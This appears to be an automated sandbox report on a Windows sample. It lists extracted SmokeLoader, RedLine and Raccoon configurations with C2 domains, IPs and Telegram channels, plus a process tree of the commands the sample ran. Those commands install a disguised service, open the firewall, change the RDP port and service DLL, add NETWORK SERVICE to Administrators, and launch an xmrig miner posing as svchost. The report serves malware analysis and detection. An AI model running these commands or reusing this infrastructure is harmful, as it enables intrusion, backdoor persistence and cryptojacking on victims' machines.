Analysis

  • max time kernel
    151s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    25-09-2021 01:03

General

  • Target

    f9edbff29a53d95b7eb874b4db8cc83cae6c61f8c7e1d.exe

  • Size

    286KB

  • MD5

    261f94efe9509b20f72bb4a64c154ed3

  • SHA1

    1e9ecc9e3ef63741689d7133c42a67da087fb397

  • SHA256

    f9edbff29a53d95b7eb874b4db8cc83cae6c61f8c7e1d79176d68bf09a842167

  • SHA512

    70b5f450a5c12d7ac59bf6077e1af246c8427834d4217f72b489ad76febb7249463e041e7057efde8d09ec49958f79c7431dcf3e3d7c598c5f31a94ea140a123

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://naghenrietti1.top/

http://kimballiett2.top/

http://xadriettany3.top/

http://jebeccallis4.top/

http://nityanneron5.top/

http://umayaniela6.top/

http://lynettaram7.top/

http://sadineyalas8.top/

http://geenaldencia9.top/

http://aradysiusep10.top/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

qq

C2

135.181.142.223:30397

Extracted

Family

redline

Botnet

700$

C2

65.21.231.57:60751

Extracted

Family

raccoon

Botnet

d4d8e30c16491ca1c11f7aa675764335342faedf

Attributes
  • url4cnc

    https://t.me/hcdrom1

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

f6d7183c9e82d2a9b81e6c0608450aa66cefb51f

Attributes
  • url4cnc

    https://t.me/justoprostohello

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 6 IoCs
  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Win32.Raccoon Stealer CnC Activity (dependency download)

    suricata: ET MALWARE Win32.Raccoon Stealer CnC Activity (dependency download)

  • suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

    suricata: ET MALWARE Win32.Raccoon Stealer Data Exfil Attempt

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 1 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 15 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Modifies Windows Firewall 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 6 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 6 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 3 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs
  • Suspicious use of SetThreadContext 6 IoCs
  • Drops file in Windows directory 8 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 11 IoCs
  • Modifies registry class 2 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f9edbff29a53d95b7eb874b4db8cc83cae6c61f8c7e1d.exe
    "C:\Users\Admin\AppData\Local\Temp\f9edbff29a53d95b7eb874b4db8cc83cae6c61f8c7e1d.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1832
    • C:\Users\Admin\AppData\Local\Temp\f9edbff29a53d95b7eb874b4db8cc83cae6c61f8c7e1d.exe
      "C:\Users\Admin\AppData\Local\Temp\f9edbff29a53d95b7eb874b4db8cc83cae6c61f8c7e1d.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1840
  • C:\Users\Admin\AppData\Local\Temp\7EA1.exe
    C:\Users\Admin\AppData\Local\Temp\7EA1.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2208
    • C:\Users\Admin\AppData\Local\Temp\7EA1.exe
      C:\Users\Admin\AppData\Local\Temp\7EA1.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:2948
  • C:\Users\Admin\AppData\Local\Temp\81FD.exe
    C:\Users\Admin\AppData\Local\Temp\81FD.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3584
    • C:\Users\Admin\AppData\Local\Temp\81FD.exe
      C:\Users\Admin\AppData\Local\Temp\81FD.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1280
  • C:\Users\Admin\AppData\Local\Temp\8838.exe
    C:\Users\Admin\AppData\Local\Temp\8838.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:872
  • C:\Users\Admin\AppData\Local\Temp\9057.exe
    C:\Users\Admin\AppData\Local\Temp\9057.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1408
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ikfcqtsf\
      2⤵
        PID:1540
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kzmiutmy.exe" C:\Windows\SysWOW64\ikfcqtsf\
        2⤵
          PID:1896
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ikfcqtsf binPath= "C:\Windows\SysWOW64\ikfcqtsf\kzmiutmy.exe /d\"C:\Users\Admin\AppData\Local\Temp\9057.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2216
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description ikfcqtsf "wifi internet conection"
            2⤵
              PID:2348
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start ikfcqtsf
              2⤵
                PID:524
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:828
              • C:\Users\Admin\AppData\Local\Temp\9D58.exe
                C:\Users\Admin\AppData\Local\Temp\9D58.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:2176
              • C:\Users\Admin\AppData\Local\Temp\B352.exe
                C:\Users\Admin\AppData\Local\Temp\B352.exe
                1⤵
                • Executes dropped EXE
                PID:2848
              • C:\Users\Admin\AppData\Local\Temp\B9AC.exe
                C:\Users\Admin\AppData\Local\Temp\B9AC.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3420
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1896
              • C:\Users\Admin\AppData\Local\Temp\C98C.exe
                C:\Users\Admin\AppData\Local\Temp\C98C.exe
                1⤵
                • Executes dropped EXE
                PID:668
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
                  2⤵
                  • Drops file in System32 directory
                  • Drops file in Windows directory
                  PID:5056
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vu5judxz\vu5judxz.cmdline"
                    3⤵
                      PID:4564
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
                        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3E47.tmp" "c:\Users\Admin\AppData\Local\Temp\vu5judxz\CSC670F0D39A8CB486DBBB9B78FB897FAF4.TMP"
                        4⤵
                          PID:3860
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                        3⤵
                          PID:4488
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                          3⤵
                            PID:4924
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
                            3⤵
                              PID:1292
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
                              3⤵
                                PID:4056
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
                                3⤵
                                • Modifies registry key
                                PID:2524
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
                                3⤵
                                  PID:4540
                                • C:\Windows\SysWOW64\net.exe
                                  "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                                  3⤵
                                    PID:4172
                                    • C:\Windows\SysWOW64\net1.exe
                                      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                                      4⤵
                                        PID:4612
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                                      3⤵
                                        PID:4160
                                        • C:\Windows\SysWOW64\cmd.exe
                                          cmd /c net start rdpdr
                                          4⤵
                                            PID:2716
                                            • C:\Windows\SysWOW64\net.exe
                                              net start rdpdr
                                              5⤵
                                                PID:4328
                                                • C:\Windows\SysWOW64\net1.exe
                                                  C:\Windows\system32\net1 start rdpdr
                                                  6⤵
                                                    PID:4720
                                            • C:\Windows\SysWOW64\cmd.exe
                                              "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                                              3⤵
                                                PID:4956
                                                • C:\Windows\SysWOW64\cmd.exe
                                                  cmd /c net start TermService
                                                  4⤵
                                                    PID:5040
                                                    • C:\Windows\SysWOW64\net.exe
                                                      net start TermService
                                                      5⤵
                                                        PID:2024
                                                        • C:\Windows\SysWOW64\net1.exe
                                                          C:\Windows\system32\net1 start TermService
                                                          6⤵
                                                            PID:524
                                                • C:\Windows\SysWOW64\ikfcqtsf\kzmiutmy.exe
                                                  C:\Windows\SysWOW64\ikfcqtsf\kzmiutmy.exe /d"C:\Users\Admin\AppData\Local\Temp\9057.exe"
                                                  1⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of SetThreadContext
                                                  PID:1600
                                                  • C:\Windows\SysWOW64\svchost.exe
                                                    svchost.exe
                                                    2⤵
                                                    • Drops file in System32 directory
                                                    • Suspicious use of SetThreadContext
                                                    • Modifies data under HKEY_USERS
                                                    PID:4676
                                                    • C:\Windows\SysWOW64\svchost.exe
                                                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                                                      3⤵
                                                        PID:5064
                                                  • C:\Users\Admin\AppData\Local\Temp\D94C.exe
                                                    C:\Users\Admin\AppData\Local\Temp\D94C.exe
                                                    1⤵
                                                    • Executes dropped EXE
                                                    PID:1556
                                                  • C:\Users\Admin\AppData\Local\Temp\E87F.exe
                                                    C:\Users\Admin\AppData\Local\Temp\E87F.exe
                                                    1⤵
                                                    • Executes dropped EXE
                                                    PID:4112
                                                  • C:\Users\Admin\AppData\Local\Temp\FDAE.exe
                                                    C:\Users\Admin\AppData\Local\Temp\FDAE.exe
                                                    1⤵
                                                    • Executes dropped EXE
                                                    • Checks BIOS information in registry
                                                    • Loads dropped DLL
                                                    • Checks whether UAC is enabled
                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                    PID:4508
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\FDAE.exe"
                                                      2⤵
                                                        PID:4888
                                                        • C:\Windows\SysWOW64\timeout.exe
                                                          timeout /T 10 /NOBREAK
                                                          3⤵
                                                          • Delays execution with timeout.exe
                                                          PID:4948
                                                    • C:\Users\Admin\AppData\Local\Temp\C17.exe
                                                      C:\Users\Admin\AppData\Local\Temp\C17.exe
                                                      1⤵
                                                      • Executes dropped EXE
                                                      PID:4736

                                                    Network

                                                    MITRE ATT&CK Enterprise v6

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • memory/668-237-0x0000000003770000-0x0000000003B72000-memory.dmp

                                                      Filesize

                                                      4.0MB

                                                    • memory/668-241-0x0000000000400000-0x0000000002F86000-memory.dmp

                                                      Filesize

                                                      43.5MB

                                                    • memory/668-251-0x0000000007D74000-0x0000000007D75000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/668-243-0x0000000007D72000-0x0000000007D73000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/668-239-0x0000000007D70000-0x0000000007D71000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/668-244-0x0000000007D73000-0x0000000007D74000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/872-133-0x0000000077E40000-0x0000000077FCE000-memory.dmp

                                                      Filesize

                                                      1.6MB

                                                    • memory/872-138-0x0000000005240000-0x0000000005241000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/872-174-0x0000000006B90000-0x0000000006B91000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/872-144-0x00000000052F0000-0x00000000052F1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/872-139-0x0000000005400000-0x0000000005401000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/872-145-0x00000000052E0000-0x00000000052E1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/872-143-0x00000000052A0000-0x00000000052A1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/872-180-0x0000000006E80000-0x0000000006E81000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/872-187-0x00000000071A0000-0x00000000071A1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/872-137-0x0000000005900000-0x0000000005901000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/872-175-0x0000000007290000-0x0000000007291000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/872-135-0x0000000000D80000-0x0000000000D81000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/1280-146-0x0000000000400000-0x0000000000422000-memory.dmp

                                                      Filesize

                                                      136KB

                                                    • memory/1280-156-0x0000000004F70000-0x0000000005576000-memory.dmp

                                                      Filesize

                                                      6.0MB

                                                    • memory/1292-911-0x0000000007062000-0x0000000007063000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/1292-936-0x000000007EA70000-0x000000007EA71000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/1292-909-0x0000000007060000-0x0000000007061000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/1408-196-0x0000000000510000-0x00000000005BE000-memory.dmp

                                                      Filesize

                                                      696KB

                                                    • memory/1408-197-0x0000000000400000-0x00000000004A9000-memory.dmp

                                                      Filesize

                                                      676KB

                                                    • memory/1556-303-0x0000000000400000-0x00000000004EC000-memory.dmp

                                                      Filesize

                                                      944KB

                                                    • memory/1556-302-0x0000000002010000-0x00000000020A0000-memory.dmp

                                                      Filesize

                                                      576KB

                                                    • memory/1600-293-0x0000000000400000-0x00000000004A9000-memory.dmp

                                                      Filesize

                                                      676KB

                                                    • memory/1600-292-0x00000000005B0000-0x00000000006FA000-memory.dmp

                                                      Filesize

                                                      1.3MB

                                                    • memory/1832-116-0x0000000000030000-0x0000000000039000-memory.dmp

                                                      Filesize

                                                      36KB

                                                    • memory/1840-114-0x0000000000400000-0x0000000000409000-memory.dmp

                                                      Filesize

                                                      36KB

                                                    • memory/1896-233-0x00000000050A0000-0x00000000056A6000-memory.dmp

                                                      Filesize

                                                      6.0MB

                                                    • memory/1896-220-0x0000000000400000-0x0000000000422000-memory.dmp

                                                      Filesize

                                                      136KB

                                                    • memory/1896-226-0x0000000000400000-0x0000000000401000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2176-173-0x0000000005D90000-0x0000000005D91000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2176-163-0x0000000077E40000-0x0000000077FCE000-memory.dmp

                                                      Filesize

                                                      1.6MB

                                                    • memory/2176-161-0x0000000000FF0000-0x0000000000FF1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2208-172-0x00000000004B0000-0x000000000055E000-memory.dmp

                                                      Filesize

                                                      696KB

                                                    • memory/2848-263-0x0000000004CB4000-0x0000000004CB6000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/2848-260-0x0000000004CB2000-0x0000000004CB3000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2848-261-0x0000000004CB3000-0x0000000004CB4000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2848-256-0x0000000000400000-0x00000000004BF000-memory.dmp

                                                      Filesize

                                                      764KB

                                                    • memory/2848-258-0x0000000004CB0000-0x0000000004CB1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/2848-254-0x0000000000600000-0x000000000074A000-memory.dmp

                                                      Filesize

                                                      1.3MB

                                                    • memory/3052-117-0x0000000001100000-0x0000000001116000-memory.dmp

                                                      Filesize

                                                      88KB

                                                    • memory/3052-202-0x00000000012B0000-0x00000000012C6000-memory.dmp

                                                      Filesize

                                                      88KB

                                                    • memory/3420-199-0x0000000075A20000-0x0000000075BE2000-memory.dmp

                                                      Filesize

                                                      1.8MB

                                                    • memory/3420-193-0x0000000000850000-0x00000000008C4000-memory.dmp

                                                      Filesize

                                                      464KB

                                                    • memory/3420-198-0x00000000027A0000-0x00000000027E3000-memory.dmp

                                                      Filesize

                                                      268KB

                                                    • memory/3420-201-0x00000000009F0000-0x00000000009F1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3420-194-0x00000000009E0000-0x00000000009E1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3584-132-0x0000000003200000-0x0000000003276000-memory.dmp

                                                      Filesize

                                                      472KB

                                                    • memory/3584-131-0x0000000005DD0000-0x0000000005DD1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3584-129-0x0000000003200000-0x0000000003201000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3584-126-0x0000000005800000-0x0000000005801000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/3584-124-0x0000000000F60000-0x0000000000F61000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4112-275-0x0000000000400000-0x0000000002BA3000-memory.dmp

                                                      Filesize

                                                      39.6MB

                                                    • memory/4112-286-0x00000000071A4000-0x00000000071A6000-memory.dmp

                                                      Filesize

                                                      8KB

                                                    • memory/4112-278-0x00000000071A0000-0x00000000071A1000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4112-267-0x00000000001C0000-0x00000000001F0000-memory.dmp

                                                      Filesize

                                                      192KB

                                                    • memory/4112-281-0x00000000071A2000-0x00000000071A3000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4112-289-0x00000000071A3000-0x00000000071A4000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4488-399-0x0000000006F00000-0x0000000006F01000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4488-400-0x0000000006F02000-0x0000000006F03000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4488-426-0x000000007F060000-0x000000007F061000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4508-290-0x0000000077E40000-0x0000000077FCE000-memory.dmp

                                                      Filesize

                                                      1.6MB

                                                    • memory/4508-291-0x0000000000BE0000-0x00000000010C6000-memory.dmp

                                                      Filesize

                                                      4.9MB

                                                    • memory/4508-288-0x0000000000BE0000-0x00000000010C6000-memory.dmp

                                                      Filesize

                                                      4.9MB

                                                    • memory/4676-301-0x0000000000490000-0x00000000004A5000-memory.dmp

                                                      Filesize

                                                      84KB

                                                    • memory/4736-348-0x0000000000400000-0x00000000004EC000-memory.dmp

                                                      Filesize

                                                      944KB

                                                    • memory/4736-347-0x00000000020E0000-0x0000000002170000-memory.dmp

                                                      Filesize

                                                      576KB

                                                    • memory/4924-674-0x000000007F460000-0x000000007F461000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4924-653-0x0000000006C32000-0x0000000006C33000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/4924-652-0x0000000006C30000-0x0000000006C31000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/5056-367-0x0000000003473000-0x0000000003474000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/5056-322-0x0000000003470000-0x0000000003471000-memory.dmp

                                                      Filesize

                                                      4KB

                                                    • memory/5056-324-0x0000000003472000-0x0000000003473000-memory.dmp

                                                      Filesize

                                                      4KB